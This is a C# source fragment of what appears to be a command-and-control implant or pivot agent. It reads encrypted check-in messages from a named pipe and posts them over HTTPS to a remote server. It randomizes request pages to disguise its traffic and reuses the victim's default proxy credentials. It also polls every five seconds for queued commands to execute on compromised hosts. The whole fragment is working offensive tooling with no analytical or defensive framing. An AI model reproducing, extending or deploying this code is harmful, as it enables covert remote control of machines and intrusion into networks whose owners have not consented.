// Manage agentid request public void Run() { ManageAgentIdRequest(); try { Utility.CheckInMsg msg = ManageCheckInMsg(); if (msg != null) { //Get checked in to server //wait for command do { try { //string rpaddress = String.Format("https://{0}:{1}/{2}", Program.host, Program.port, Program.pageget[new Random().Next(Program.pageget.Length)]); //wc.Add(new Cookie("sessionid", cookie, "/", Program.host)); if (commands.ContainsKey(AgentId)) { commands.TryGetValue(AgentId, out List <Utility.TaskMsg> list); if (list.Count > 0) { //Received command from server //Send command to agent and send back result to server Utility.TaskMsg task = list.First(); list.Remove(task); ManageCommand(task); } } } catch (Exception) { } Thread.Sleep(5000); } while (true); } } catch (Exception e) { Console.WriteLine("[x] Error during checkin agentid {0}", agentid); Console.WriteLine("[x] {0}", e.Message); } }
private Utility.CheckInMsg ManageCheckInMsg() { var result = Utility.ReadMessage(pipe); //Espect cehckin message string line = Crypto.Aes.DecryptAesMessage(result, webaeskey, webaesiv); Utility.CheckInMsg msg = new Utility.CheckInMsg(); try { msg = new JavaScriptSerializer().Deserialize <Utility.CheckInMsg>(line); //Send checkin message to server string rpaddress = String.Format("https://{0}:{1}/{2}", host, port, pagepost[new Random().Next(pagepost.Length)]); string checkinmsg = new JavaScriptSerializer().Serialize(msg); var checkinmsgenc = Crypto.Aes.EncryptAesMessage(checkinmsg, webaeskey, webaesiv); string post = String.Format("{0}={1}", param, Convert.ToBase64String(checkinmsgenc)); wc.UseDefaultCredentials = true; wc.Proxy = WebRequest.DefaultWebProxy; wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials; wc.Add(new Cookie("sessionid", cookie, "/", host)); string resp = wc.UploadString(rpaddress, post); string respjson = Crypto.Aes.DecryptAesMessage(Convert.FromBase64String(resp), webaeskey, webaesiv); byte[] bytes = Crypto.Aes.EncryptAesMessage(respjson, webaeskey, webaesiv); pipe.Write(bytes, 0, bytes.Length); } catch (Exception e) { msg = null; Console.WriteLine("Error: " + e.Message); Console.WriteLine("Error: " + e.StackTrace); } return(msg); }